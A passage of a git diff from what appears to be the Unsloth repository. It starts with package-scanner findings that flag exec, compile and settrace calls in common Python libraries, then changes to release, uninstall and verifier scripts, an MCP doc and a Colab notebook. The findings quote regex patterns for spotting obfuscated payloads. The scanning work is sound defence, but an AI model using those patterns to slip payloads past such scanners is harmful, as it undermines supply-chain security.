+ suspicious behavior", + "severity": "HIGH", + "evidence": "Anti: L972: trace = sys.gettrace() | L983: sys.settrace(trace)" + }, + { + "package": "jinja2", + "file": "jinja2/environment.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L709: return compile(source, filename, \"exec\")\nExec: L1228: exec(code, namespace)" + }, + { + "package": "matplotlib", + "file": "matplotlib/sphinxext/plot_directive.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L368: compile(text, '', 'exec')\nExec: L585: exec('import numpy as np\\n' | L588: exec(str(setup.config.plot_pre_code), ns) | L594: exec(code, ns)" + }, + { + "package": "multiprocess", + "file": "multiprocess/tests/__init__.py", + "check": "Anti-analysis/sandbox evasion + suspicious behavior", + "severity": "HIGH", + "evidence": "Anti: L440: time.sleep(300)" + }, + { + "package": "networkx", + "file": "networkx/utils/decorators.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L911: compiled = compile(code, filename, \"exec\")\nExec: L912: exec(compiled, globl, locl)" + }, + { + "package": "numba", + "file": "numba/np/ufunc/array_exprs.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L382: code_obj = compile(ast_module, expr_filename, 'exec')\nExec: L383: exec(code_obj, namespace)" + }, + { + "package": "numba", + "file": "numba/tests/support.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L879: __import__(modname)\nExec: L813: eval(co, globs, ns)" + }, + { + "package": "numba", + "file": "numba/tests/test_firstlinefinder.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L95: code = compile(source, filename, \"exec\")\nExec: L77: exec(source, globalns) | L98: exec(code, globalns)" + }, + { + "package": "numba", + "file": "numba/tests/test_funcdesc.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L24: compiled = compile(code, filename, 'exec')\nExec: L25: exec(compiled, objs)" + }, + { + "package": "numba", + "file": "numba/tests/test_import.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L33: __import__(mod)\nExec: L43: modlist = set(eval(out.strip())) | L97: modlist = set(eval(out.strip()))" + }, + { + "package": "numba", + "file": "numba/tests/test_np_functions.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L7106: exec(compile(funcstr, '', 'exec'), globals(), dct)\nExec: L7106: exec(compile(funcstr, '', 'exec'), globals(), dct)" + }, + { + "package": "numpy", + "file": "numpy/testing/_private/utils.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L1627: code = compile(code_str, f'Test name: {label} ', 'exec')\nExec: L1346: exec(astr, dict) | L1632: exec(code, globs, locs)" + }, + { + "package": "numpy", + "file": "numpy/testing/_private/utils.py", + "check": "Anti-analysis/sandbox evasion + suspicious behavior", + "severity": "HIGH", + "evidence": "Anti: L2777: original_trace = sys.gettrace() | L2779: sys.settrace(None) | L2782: sys.settrace(original_trace)" + }, + { + "package": "numpy", + "file": "numpy/tests/test_public_api.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L543: core_submodule = __import__(\nExec: L405: eval(module_name)" + }, + { + "package": "pillow", + "file": "PIL/Image.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L422: __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), []) | L490: __import__(f\"{__spec__.parent}.{plugin}\", globals(), locals(), [])\nExec: L3772: def eval(image: Image, *args: Callable[[int], float]) -> Image:" + }, + { + "package": "protobuf", + "file": "protobuf-3.19.6-nspkg.pth", + "check": "Unusually large executable .pth (539 bytes)", + "severity": "HIGH", + "evidence": "1 import line(s) in 539-byte .pth file" + }, + { + "package": "pygments", + "file": "pygments/formatters/__init__.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L38: mod = __import__(module_name, None, None, ['__all__'])\nExec: L103: exec(f.read(), custom_namespace)" + }, + { + "package": "pygments", + "file": "pygments/lexers/__init__.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L45: mod = __import__(module_name, None, None, ['__all__'])\nExec: L154: exec(f.read(), custom_namespace)" + }, + { + "package": "scikit-learn", + "file": "sklearn/externals/array_api_compat/torch/__init__.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L19: __import__(__package__ + '.linalg') | L20: __import__(__package__ + '.fft')\nExec: L12: exec(f\"{n} = torch.{n}\")" + }, + { + "package": "scipy", + "file": "scipy/optimize/_optimize.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L4155: __import__(mod_name)\nExec: L323: def eval(x):" + }, + { + "package": "setuptools", + "file": "pkg_resources/__init__.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L423: __import__(moduleOrReq) | L1739: code = compile(source, script_filename, 'exec') | L1750: script_code = compile(script_text, script_filename, 'exec')\nExec: L1740: exec(code, namespace, namespace) | L1751: exec(script_code, nam" + }, + { + "package": "setuptools", + "file": "setuptools/_distutils/compilers/C/base.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L1286: __import__(module_name)\nExec: L1113: if lib_type not in eval(expected):" + }, + { + "package": "setuptools", + "file": "setuptools/launch.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L31: code = compile(norm_script, script_name, 'exec')\nExec: L32: exec(code, namespace)" + }, + { + "package": "setuptools", + "file": "setuptools/tests/config/test_pyprojecttoml.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L364: \"setup.py\": \"__import__('setuptools').setup(include_package_data=False)\",\nExec: L98: \"__main__.py\": \"def exec(): print('hello')\"," + }, + { + "package": "setuptools", + "file": "setuptools/tests/test_editable_install.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L120: SETUP_SCRIPT_STUB = \"__import__('setuptools').setup()\"\nExec: L449: exec(finder, loc, loc)" + }, + { + "package": "setuptools", + "file": "setuptools/wheel.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L35: NAMESPACE_PACKAGE_INIT = \"__import__('pkg_resources').declare_namespace(__name__)\\n\"\nExec: L191: def eval(req, **env): | L212: (req for req in reqs if for_extra(req) and eval(req, extra=extra))," + }, + { + "package": "six", + "file": "six.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L87: __import__(name)\nExec: L740: exec(\"\"\"exec _code_ in _globs_, _locs_\"\"\")" + }, + { + "package": "sympy", + "file": "sympy/external/importtools.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L145: mod = __import__(module, **import_kwargs) | L154: __import__(module + '.' + submod)\nExec: L21: return eval(debug_str)" + }, + { + "package": "sympy", + "file": "sympy/plotting/experimental_lambdify.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L249: namespace.update({'math': __import__('math')}) | L251: namespace.update({'cmath': __import__('cmath')}) | L254: namespace.update({'np': __import__('numpy')})\nExec: L268: exec(\"MYNEWLAMBDA = %s\" % eval_str, namespace)" + }, + { + "package": "sympy", + "file": "sympy/utilities/lambdify.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L919: c = compile(funcstr, filename, 'exec')\nExec: L163: module = eval(import_command) | L170: exec(import_command, {}, namespace) | L903: exec(ln, {}, namespace)" + }, + { + "package": "tensorboard", + "file": "tensorboard/plugins/projector/tf_projector_plugin/projector_binary.js", + "check": "Python wheel ships large (1918 KB) JS bundle (uncommon; manually review)", + "severity": "HIGH", + "evidence": "" + }, + { + "package": "torch", + "file": "torch/_dynamo/bytecode_debugger.py", + "check": "Anti-analysis/sandbox evasion + suspicious behavior", + "severity": "HIGH", + "evidence": "Anti: L1048: self._old_trace = sys.gettrace() | L1049: sys.settrace(self._settrace_callback) | L1106: sys.settrace(self._old_trace)" + }, + { + "package": "torch", + "file": "torch/_functorch/_aot_autograd/subclass_codegen.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L342: code = compile(source, f\"<{artifact_name}>\", \"exec\")\nExec: L344: exec(code, globals_dict, local_dict)" + }, + { + "package": "torch", + "file": "torch/fx/experimental/rewriter.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L46: code = compile(dest_ast, \"\", \"exec\")\nExec: L49: exec(code, globals_dict)" + }, + { + "package": "torch", + "file": "torch/fx/graph_module.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L106: exec(compile(src, key, \"exec\"), globals)\nExec: L106: exec(compile(src, key, \"exec\"), globals)" + }, + { + "package": "torch", + "file": "torch/package/package_importer.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L602: def __import__(self, name, globals=None, locals=None, fromlist=(), level=0):\nExec: L412: exec(code, ns)" + }, + { + "package": "triton", + "file": "triton/runtime/interpreter.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L1435: compiled_code = compile(transformed_ast, filename=self.filename, mode='exec')\nExec: L1441: exec(compiled_code, fn_globals, local_namespace)" }, { "package": "unsloth-zoo", - "file": "tests/test_vision_collator_audio.py", - "check": "Writes to /tmp and executes (staged dropper)", - "severity": "CRITICAL", - "evidence": "L111: out = extract_audio_info(msgs({\"type\": \"audio\", key: \"/tmp/a.wav\"})) sha256:022f81dd21acfc6a35a058de96132834c218404a9e37b3d09a7768a8c8f6c728", - "evidence_hash": "2d1e75446af120d9133a42aa8af426a839d3434d9dc109cc1d6c1b22ca1ddb75" + "file": "scripts/scan_packages.py", + "check": "exec/eval with payload hidden in a docstring/string", + "severity": "HIGH", + "evidence": "marshal/compile/obfuscation: L132: r\"|\\bbytearray\\s*\\(\\s*\\[.*?\\]\\s*\\)\" # bytearray([104,101,...]) | L135: r\"|\\bgetattr\\s*\\(\\s*__builtins__\" # getattr(__builtins__, ...)" + }, + { + "package": "unsloth-zoo", + "file": "tests/test_compiler_dynamic_exec.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L126: code = compile(source, f\"<{entry_point}>\", \"exec\")\nExec: L134: exec(code, sandbox)" + }, + { + "package": "unsloth-zoo", + "file": "tests/test_fused_forward_install.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L268: code = compile(src, fake_path, \"exec\")\nExec: L269: exec(code, namespace)" + }, + { + "package": "unsloth-zoo", + "file": "tests/test_upstream_pinned_symbols_trl_vllm.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L379: mod = __import__(modpath, fromlist=[\"Logprob\"])\nExec: L238: \"unsloth_zoo dispatch via `eval(f'trl.trainer.{trainer_file}.{name}')` breaks\"" + }, + { + "package": "unsloth-zoo", + "file": "unsloth_zoo/compiler.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L1013: _mod = __import__(model_location, fromlist=items) | L4291: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\ | L4292: f\"O^O/ {chr(92)}_/ {c" + }, + { + "package": "unsloth-zoo", + "file": "unsloth_zoo/fused_losses/forward_install.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L274: code = compile(new_src, synthetic_path, \"exec\")\nExec: L275: exec(code, ns)" + }, + { + "package": "unsloth-zoo", + "file": "unsloth_zoo/mlx/loader.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L1739: _mod = __import__(module_name, fromlist=[\"_\"])\nExec: L141: mx.eval(model.parameters()) | L1543: model.eval() | L2126: mx.eval(model.parameters())" + }, + { + "package": "unsloth-zoo", + "file": "unsloth_zoo/patching_utils.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L706: compile(new_source, '', 'exec')\nExec: L221: try: exec(_try_compile_argument) | L226: try: exec(_try_dynamo_argument) | L570: exec(\"from torch._dynamo.compiled_autograd import (\" + \", \".join(x for x in good_" + }, + { + "package": "unsloth-zoo", + "file": "unsloth_zoo/saving_utils.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L3078: module = __import__('transformers', fromlist=[model_class_name])\nExec: L2960: exec(f\"from transformers.modeling_utils import ({', '.join(functions)})\", locals(), globals()) | L3006: exec(save_pretrained, globals(), functions)" + }, + { + "package": "unsloth-zoo", + "file": "tests/test_mlx_trainer_internals.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L430: assert ppl == pytest.approx(__import__(\"math\").exp(2.5))\nExec: L408: def eval(self):" + }, + { + "package": "werkzeug", + "file": "werkzeug/routing/rules.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L836: code = compile(module, \"\", \"exec\")\nExec: L736: exec(code, globs, locs)" } ] } diff --git a/scripts/stamp_studio_release.py b/scripts/stamp_studio_release.py index 739f6d1063..7dab35ea8a 100644 --- a/scripts/stamp_studio_release.py +++ b/scripts/stamp_studio_release.py @@ -2,7 +2,7 @@ # SPDX-License-Identifier: AGPL-3.0-only # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 -"""Stamp and verify display-only Unsloth release metadata for builds.""" +"""Stamp and verify display-only Studio release metadata for builds.""" from __future__ import annotations @@ -50,7 +50,7 @@ MAX_VERSION_LENGTH = 64 PLACEHOLDER = """# SPDX-License-Identifier: AGPL-3.0-only # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 -\"\"\"Build-stamped Unsloth release metadata. +\"\"\"Build-stamped Studio release metadata. Release builds may rewrite this module in the build workspace before creating Python artifacts. Keep the committed value neutral so source checkouts do not @@ -145,7 +145,7 @@ def build_info_source(version: str | None) -> str: return f'''# SPDX-License-Identifier: AGPL-3.0-only # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 -"""Build-stamped Unsloth release metadata.""" +"""Build-stamped Studio release metadata.""" STUDIO_RELEASE_VERSION = {literal} ''' @@ -168,7 +168,7 @@ def stamp(require_release: bool) -> int: version, source = resolve_version() if version is not None and not is_valid_version(version): print( - f"Invalid Unsloth release version from {source}: {version!r}", + f"Invalid Studio release version from {source}: {version!r}", file = sys.stderr, ) return 2 @@ -196,9 +196,9 @@ def stamp(require_release: bool) -> int: if version is None: if require_release: print( - "No Unsloth release version available. Set " + "No Studio release version available. Set " "UNSLOTH_STUDIO_RELEASE_VERSION, build from a GitHub tag, " - "or run from an exact local Unsloth release tag.", + "or run from an exact local Studio release tag.", file = sys.stderr, ) return 2 @@ -207,7 +207,7 @@ def stamp(require_release: bool) -> int: return 0 _atomic_write_text(BUILD_INFO_PATH, build_info_source(version), encoding = "utf-8") - print(f"Stamping Unsloth release version {version} from {source}", file = sys.stderr) + print(f"Stamping Studio release version {version} from {source}", file = sys.stderr) print(version) return 0 @@ -233,7 +233,7 @@ def _read_sdist_member(path: Path) -> str | None: def verify_dist(expected: str, dist_dir: Path) -> int: if not is_valid_version(expected): - print(f"Invalid expected Unsloth release version: {expected!r}", file = sys.stderr) + print(f"Invalid expected Studio release version: {expected!r}", file = sys.stderr) return 2 artifacts = list(dist_dir.glob("*.whl")) + list(dist_dir.glob("*.tar.gz")) @@ -251,14 +251,14 @@ def verify_dist(expected: str, dist_dir: Path) -> int: if content is None: failures.append(f"{artifact.name}: missing {BUILD_INFO_SUFFIX}") elif expected_line not in content: - failures.append(f"{artifact.name}: Unsloth release version mismatch") + failures.append(f"{artifact.name}: Studio release version mismatch") if failures: for failure in failures: print(failure, file = sys.stderr) return 2 - print(f"Verified Unsloth release version {expected} in {len(artifacts)} artifact(s)") + print(f"Verified Studio release version {expected} in {len(artifacts)} artifact(s)") return 0 diff --git a/scripts/uninstall.ps1 b/scripts/uninstall.ps1 index 9b6e6ebb86..88defb9ea0 100644 --- a/scripts/uninstall.ps1 +++ b/scripts/uninstall.ps1 @@ -83,7 +83,7 @@ function Uninstall-UnslothStudio { } } - # A path is an Unsloth-owned root iff one of install.ps1's sentinels exists: + # A path is a Studio-owned root iff one of install.ps1's sentinels exists: # \share\studio.conf, \unsloth_studio\.unsloth-studio-owned, # or \bin\unsloth.exe. function _IsStudioRoot { @@ -164,7 +164,7 @@ function Uninstall-UnslothStudio { return $p } - # Discover non-default Unsloth roots from env vars + studio.conf files. + # Discover non-default Studio roots from env vars + studio.conf files. # Mirrors install.ps1's precedence: UNSLOTH_STUDIO_HOME wins, STUDIO_HOME # is ignored when both are set, so uninstalling install A doesn't also # delete install B if the user has a stale STUDIO_HOME pointing at B. @@ -207,7 +207,7 @@ function Uninstall-UnslothStudio { # Return $true iff the PID's image path lives under one of $KnownRoots. # Prevents killing an unrelated process that happens to listen on a stale - # Unsloth port. + # Studio port. function _PidUnderKnownRoot { param([int]$Pid_, [string[]]$KnownRoots) if (-not $KnownRoots -or $KnownRoots.Count -eq 0) { return $false } @@ -223,8 +223,8 @@ function Uninstall-UnslothStudio { return $false } - # Stop an Unsloth backend whose port is recorded in \studio.port. - # Only kills if the listening PID's exe path is under a known Unsloth root. + # Stop a Studio backend whose port is recorded in \studio.port. + # Only kills if the listening PID's exe path is under a known Studio root. function _StopByPortFile { param([string]$PortFile, [string[]]$KnownRoots) if (-not (Test-Path -LiteralPath $PortFile -PathType Leaf)) { return } @@ -372,7 +372,7 @@ function Uninstall-UnslothStudio { continue } if (-not (_IsStudioRoot $r)) { - _Substep "refusing to remove non-Unsloth path: $r" "Yellow" + _Substep "refusing to remove non-Studio path: $r" "Yellow" continue } _RemovePath $r @@ -436,7 +436,7 @@ function Uninstall-UnslothStudio { $entries = $rawPath -split ';' $kept = New-Object System.Collections.ArrayList $removedAny = $false - # Only remove PATH entries that live inside an Unsloth root we + # Only remove PATH entries that live inside a Studio root we # actually own (default or env-mode). A literal substring # match on `unsloth_studio` would clobber unrelated user # virtualenvs that happen to share the name. diff --git a/scripts/uninstall.sh b/scripts/uninstall.sh index 957d2b7af2..31e851fcbb 100755 --- a/scripts/uninstall.sh +++ b/scripts/uninstall.sh @@ -12,7 +12,7 @@ set -e -# Stop an Unsloth server via its PID file (written by install.sh's _spawn_terminal). +# Stop a Studio server via its PID file (written by install.sh's _spawn_terminal). _kill_pid_file() { _pid_file="$1" [ -f "$_pid_file" ] || return 0 @@ -47,7 +47,7 @@ _pkill_studio() { command -v pkill >/dev/null 2>&1 || return 0 # Scope fallback patterns to the install roots we are removing so a - # different Unsloth install (different UNSLOTH_STUDIO_HOME) is not touched. + # different Studio install (different UNSLOTH_STUDIO_HOME) is not touched. _kill_roots="$HOME/.unsloth/studio" _roots_from_conf=$(_custom_studio_roots 2>/dev/null || true) [ -n "$_roots_from_conf" ] && _kill_roots="$_kill_roots @@ -89,7 +89,7 @@ _remove_path() { fi } -# Accept as Unsloth root only if Unsloth sentinels exist (matches install.sh's +# Accept as Studio root only if Studio sentinels exist (matches install.sh's # env-mode ownership guard at install.sh:1358-1361). A bare unsloth_studio/ # directory is NOT enough -- require the install-time owner marker so a user # directory that happens to contain a folder named "unsloth_studio" is safe. @@ -175,8 +175,8 @@ _custom_studio_roots() { _from_conf "$HOME/.local/share/unsloth/studio.conf" } -# Remove $HOME/.local/bin/unsloth only if it's an Unsloth-managed symlink. -# Unsloth's install.sh writes this as a symlink into the studio venv +# Remove $HOME/.local/bin/unsloth only if it's a Studio-managed symlink. +# Studio's install.sh writes this as a symlink into the studio venv # (install.sh: `ln -sfn "$VENV_DIR/bin/unsloth" "$_shim_path"`). A # pip-installed `unsloth` CLI is a regular file — leave it alone to avoid # wiping an unrelated install. @@ -206,7 +206,7 @@ _custom_studio_roots | while IFS= read -r _custom_root; do continue fi if ! _is_studio_root "$_custom_root"; then - echo " refusing to remove non-Unsloth path: $_custom_root" >&2 + echo " refusing to remove non-Studio path: $_custom_root" >&2 continue fi _remove_path "$_custom_root" @@ -234,7 +234,7 @@ _remove_path "$HOME/.unsloth/rocm-smoketest" # Drop ~/.unsloth only if now empty (rmdir refuses non-empty, so user content is kept). rmdir "$HOME/.unsloth" 2>/dev/null || true _remove_path "$HOME/.local/share/unsloth" -# CLI shim: only the symlink Unsloth created, never a pip-installed file. +# CLI shim: only the symlink Studio created, never a pip-installed file. _remove_cli_shim echo "Removing desktop shortcut and launcher lock..." diff --git a/scripts/verify_import_hoist.py b/scripts/verify_import_hoist.py index 22a21a2ebc..b4c908b0cb 100644 --- a/scripts/verify_import_hoist.py +++ b/scripts/verify_import_hoist.py @@ -564,12 +564,6 @@ def compare(before_src: str, after_src: str, path: str) -> list[tuple[str, str]] for n, tids in b["module_import_targets"].items(): if tids & after_used: continue # resolved -> fine - # `from __future__ import ...` is a compiler directive, not a runtime - # binding: the name (`annotations`, ...) is never loaded, so it can never - # "resolve" to a use. Skip it so a legitimately-added future import - # (e.g. `annotations` for lazy PEP 604 `X | None` on py3.9) is not flagged. - if all(t.startswith("from:__future__:") for t in tids): - continue newly_added = bool(tids - before_module_targets) was_used_before = bool(tids & before_used) if newly_added or was_used_before: @@ -594,23 +588,9 @@ def compare(before_src: str, after_src: str, path: str) -> list[tuple[str, str]] # package object and only *add* submodule attributes (e.g. adding # `import urllib.error` next to `import urllib.request`). Nothing the name # resolved to before is lost, so no reference is re-pointed -- skip it. - # - # A deliberate *relocation* is also benign and must not block: when a name - # keeps its spelling but its import source is moved A -> B in THIS diff (the - # old `from A import x` is removed at module level and a new `from B import x` - # is added), the swap is intentional, not a silent re-point to a pre-existing - # different object. This mirrors the relocation tolerance already applied to - # TARGET-MISSING. The dangerous case -- the name now resolving to a target - # that already existed before (shadow/clash) -- is NOT exempted. - removed_module_targets = before_module_targets - after_module_targets for key, tafter in b["target_by_use"].items(): tbefore = a["target_by_use"].get(key) if tbefore and tbefore != tafter and (tbefore - tafter): - lost = tbefore - tafter - gained = tafter - tbefore - relocated = lost <= removed_module_targets and gained <= added_module_targets - if relocated: - continue findings.append( ( "BLOCKER", diff --git a/studio/MCP.md b/studio/MCP.md deleted file mode 100644 index 127a85a116..0000000000 --- a/studio/MCP.md +++ /dev/null @@ -1,34 +0,0 @@ -# Unsloth Studio MCP server - -Unsloth can expose a local MCP server so an MCP client can inspect models and -GPU state, validate recipes, start or stop training, inspect recipe output, and -export a loaded model. - -The server is disabled by default. Enable it for a local Unsloth process with: - -```bash -UNSLOTH_STUDIO_ENABLE_MCP=1 \ -UNSLOTH_STUDIO_MCP_TOKEN='use-a-local-secret' \ -unsloth studio -``` - -The endpoint is `http://127.0.0.1:8888/mcp/` when Unsloth uses its default port -(a request to `/mcp` redirects to the canonical `/mcp/`). Use the actual Unsloth -port when it is configured differently. - -The high-impact tools are: - -- `studio_status` and `list_local_models` for discovery -- `get_training_status`, `start_training`, `stop_training`, and `list_training_runs` -- `validate_recipe`, `get_recipe_job_status`, and `get_recipe_job_dataset` -- `load_checkpoint` and `export_gguf` - -`start_training` accepts the same fields as the Unsloth `TrainingStartRequest`. -The request is validated by the existing Pydantic model before a subprocess is -started. Export paths use the existing Unsloth validation as well. - -The endpoint always requires `UNSLOTH_STUDIO_MCP_TOKEN` and checks an exact -Bearer token for both HTTP and WebSocket connections. Keep it on localhost -unless the deployment has an authenticated reverse proxy. The MCP endpoint is -intentionally opt-in because tools can consume GPU memory, write model -artifacts, and stop active work. \ No newline at end of file diff --git a/studio/Unsloth_Studio_Colab.ipynb b/studio/Unsloth_Studio_Colab.ipynb index 612d739806..619395bd6d 100644 --- a/studio/Unsloth_Studio_Colab.ipynb +++ b/studio/Unsloth_Studio_Colab.ipynb @@ -1,145 +1,134 @@ { - "cells": [ - { - "cell_type": "markdown", - "metadata": { - "id": "view-in-github", - "colab_type": "text" - }, - "source": [ - "\"Open" - ] - }, - { - "cell_type": "markdown", - "metadata": { - "id": "6b87de59" - }, - "source": [ - "To run this, press \"*Runtime*\" and press \"*Run all*\" on a **free** Tesla T4 Google Colab instance!\n", - "

\n", - "\n", - "\n", - " Join Discord if you need help + ⭐ Star us on Github ⭐\n", - "
\n", - "\n", - "To install Unsloth Studio on your local device, follow [our guide](https://unsloth.ai/docs/new/unsloth-studio/install). Unsloth Studio is licensed [AGPL-3.0](https://github.com/unslothai/unsloth/blob/main/studio/LICENSE.AGPL-3.0).\n", - "\n", - "### Unsloth Studio\n", - "\n", - "Train and run open models with [**Unsloth Studio**](https://unsloth.ai/docs/new/unsloth-studio/start). NEW! Installation should now only take 2 mins!\n", - "\n", - "\n", - "We are actively working on making Unsloth Studio install on Colab T4 GPUs faster.\n", - "\n", - "[Features](https://unsloth.ai/docs/new/unsloth-studio#features) • [Quickstart](https://unsloth.ai/docs/new/unsloth-studio/start) • [Data Recipes](https://unsloth.ai/docs/new/unsloth-studio/data-recipe) • [Unsloth Chat](https://unsloth.ai/docs/new/unsloth-studio/chat) • [Export](https://unsloth.ai/docs/new/unsloth-studio/export)" - ], - "id": "6b87de59" - }, - { - "cell_type": "markdown", - "metadata": { - "id": "e4206349" - }, - "source": [ - "

" - ], - "id": "e4206349" - }, - { - "cell_type": "markdown", - "metadata": { - "id": "27da2957" - }, - "source": [ - "### Setup: Clone repo and run setup" - ], - "id": "27da2957" - }, - { - "cell_type": "code", - "metadata": { - "id": "27e68f91" - }, - "source": "!git clone --depth 1 --branch main https://github.com/unslothai/unsloth.git\n%cd /content/unsloth\n!chmod +x studio/setup.sh && ./studio/setup.sh --local", - "execution_count": null, - "outputs": [], - "id": "27e68f91" - }, - { - "cell_type": "markdown", - "metadata": { - "id": "3e1771a9" - }, - "source": [ - "### Start Unsloth Studio" - ], - "id": "3e1771a9" - }, - { - "cell_type": "code", - "metadata": { - "id": "277e431e" - }, - "source": [ - "import sys\n", - "sys.path.insert(0, \"/content/unsloth/studio/backend\")\n", - "from colab import start\n", - "\n", - "# On Colab, start() auto-opens a Cloudflare link and prints admin login credentials.\n", - "# Use the Cloudflare link above the ready card to open Studio (in-cell iframes often stay blank).\n", - "start()\n", - "\n", - "# To skip the Cloudflare tunnel and try the in-notebook proxy iframe only:\n", - "# start(cloudflare=False)" - ], - "execution_count": null, - "outputs": [], - "id": "277e431e" - }, - { - "cell_type": "markdown", - "metadata": { - "id": "f2b0c6a1" - }, - "source": [ - "And we're done! If you have any questions on Unsloth, we have a [Discord](https://discord.gg/unsloth) channel! If you find any bugs or want to keep updated with the latest LLM stuff, or need help, join projects etc, feel free to join our Discord!\n", - "\n", - "Some other resources:\n", - "1. Looking to use Unsloth locally? Read our [Installation Guide](https://unsloth.ai/docs/get-started/install) for details on installing Unsloth on Windows, Docker, AMD, Intel GPUs.\n", - "2. Learn how to do Reinforcement Learning with our [RL Guide and notebooks](https://unsloth.ai/docs/get-started/reinforcement-learning-rl-guide).\n", - "3. Read our guides and notebooks for [Text-to-speech (TTS)](https://unsloth.ai/docs/basics/text-to-speech-tts-fine-tuning) and [vision](https://unsloth.ai/docs/basics/vision-fine-tuning) model support.\n", - "4. Explore our [LLM Tutorials Directory](https://unsloth.ai/docs/models/tutorials-how-to-fine-tune-and-run-llms) to find dedicated guides for each model.\n", - "5. Need help with Inference? Read our [Inference & Deployment page](https://unsloth.ai/docs/basics/inference-and-deployment) for details on using vLLM, llama.cpp, Ollama etc.\n", - "\n", - "
\n", - " \n", - " \n", - " \n", - "\n", - " Join Discord if you need help + ⭐️ Star us on Github ⭐️\n", - "\n", - " This notebook is licensed AGPL-3.0\n", - "
